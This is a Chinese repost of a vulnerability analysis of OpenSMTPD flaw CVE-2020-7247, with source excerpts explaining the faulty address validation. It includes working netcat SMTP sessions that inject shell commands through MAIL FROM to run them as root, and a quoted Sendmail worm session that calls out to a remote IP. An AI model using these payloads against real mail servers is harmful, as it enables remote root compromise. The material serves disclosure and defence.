标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2573] 作者: ecawen 发表于: [2020-02-09]
本文共 [867] 位读者顶过
感谢 angel010 的辛苦付出! 研究人员在OpenBSD的邮件服务器OpenSMTPD中发现了一个安全漏洞。该漏洞从2018年5月开始就可以利用了,攻击者利用该漏洞可以以root权限执行任意shell命令:
研究人员开发了一个简单的PoC,并在OpenBSD 6.6和Debian (Bullseye)测试版本进行了测试,研究人员认为其他版本和发布版本也可以被利用。 漏洞分析研究人员分析发现漏洞的根源在于OpenSMTPD的smtp_mailaddr()函数,该函数负责验证发送者(MAIL FROM)和接收者(RCPT TO)的邮件地址: 2189 static int 2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args, 2191 const char *domain) 2192 { .... 2218 if (!valid_localpart(maddr->user) || 2219 !valid_domainpart(maddr->domain)) { .... 2234 return (0); 2235 } 2236 2237 return (1); 2238 }
#define MAILADDR_ALLOWED "!#$%&'*/?^`{|}~+-=_" 在MAILADDR_ALLOWED的字符串中,同时位于MAILADDR_ESCAPE的部分之后会被mda_expand_token()转变成为:字符: #define MAILADDR_ESCAPE "!#$%&'*?`{|}~" smtp_mailaddr()的白名单和mda_expand_token()的逃逸对OpenSMTPD的安全性都是很基本的,可以防止危险字符串到达执行MDA命令的shell中: execle("/bin/sh", "/bin/sh", "-c", mda_command, (char *)NULL, mda_environ); Mail Delivery Agents (MDAs)负责传递邮件到本地接收者,比如OpenSMTPD的默认MDA方法是mbox,对应的MDA命令是: asprintf(&dispatcher->u.local.command, "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}"); %{user.username}是现有的本地用户名(接收者地址的本地部分),%{mbox.from}是发送者地址(发送者地址如果不在smtp_mailaddr()的白名单和mda_expand_token()的逃逸部分,就位于攻击者的完全控制之下)。 研究人员在smtp_mailaddr()函数中发现了一个漏洞——(CVE-2020-7247): ------------------------------------------------------------------------------ 2189 static int 2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args, 2191 const char *domain) 2192 { .... 2218 if (!valid_localpart(maddr->user) || 2219 !valid_domainpart(maddr->domain)) { .... 2229 if (maddr->domain[0] == '\0') { 2230 (void)strlcpy(maddr->domain, domain, 2231 sizeof(maddr->domain)); 2232 return (1); 2233 } 2234 return (0); 2235 } 2236 2237 return (1); 2238 } 如果地址的本地部分是无效的(2218行),如果域名的空的(2229行),然后smtp_mailaddr()会自动添加默认域名(2230行)并返回1(2232行),虽然应该返回的是0,因为地址的本地部分应该是无效的。 因此,攻击者可以传递不在MAILADDR_ALLOWED和 MAILADDR_ESCAPE中的危险字符到执行MDA命令的shell。比如,下面的本地SMTP会话就在OpenSMTPD的默认配置下以root执行sleep 66: ------------------------------------------------------------------------------ $ nc 127.0.0.1 25 220 obsd66.example.org ESMTP OpenSMTPD HELO professor.falken 250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you MAIL FROM:<;sleep 66;> 250 2.0.0 Ok RCPT TO:<root> 250 2.1.5 Destination address valid: Recipient ok DATA 354 Enter mail, end with "." on a line by itself How about a nice game of chess? . 250 2.0.0 e6330998 Message accepted for delivery QUIT 221 2.0.0 Bye ------------------------------------------------------------------------------ 漏洞利用但是通过发送者地址的本地部分执行任意shell命令的能力是有限的:
为了克服这些限制,研究人员从https://spaf.cerias.purdue.edu/tech-reps/823.pdf 处获得了灵感,其中通过以shell脚本的形式执行邮箱的主体部分来利用Sendmail的DEBUG漏洞: ------------------------------------------------------------------------------ debug mail from: </dev/null> rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0"> data cd /usr/tmp cat > x14481910.c <<'EOF' [text of vector program] EOF cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c . quit ------------------------------------------------------------------------------
事实上,MDA命令的标准输入是邮件自身:"sed"移除了header,"/bin/sh"执行了body部分。[出自:jiwo.org] ------------------------------------------------------------------------------ $ nc 192.168.56.143 25 220 obsd66.example.org ESMTP OpenSMTPD HELO professor.falken 250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;> 250 2.0.0 Ok RCPT TO:<root@example.org> 250 2.1.5 Destination address valid: Recipient ok DATA 354 Enter mail, end with "." on a line by itself #0 #1 #2 #3 #4 #5 #6 #7 #8 #9 #a #b #c #d for i in W O P R; do echo -n "($i) " && id || break done >> /root/x."`id -u`"."$$" . 250 2.0.0 4cdd24df Message accepted for delivery QUIT 221 2.0.0 Bye |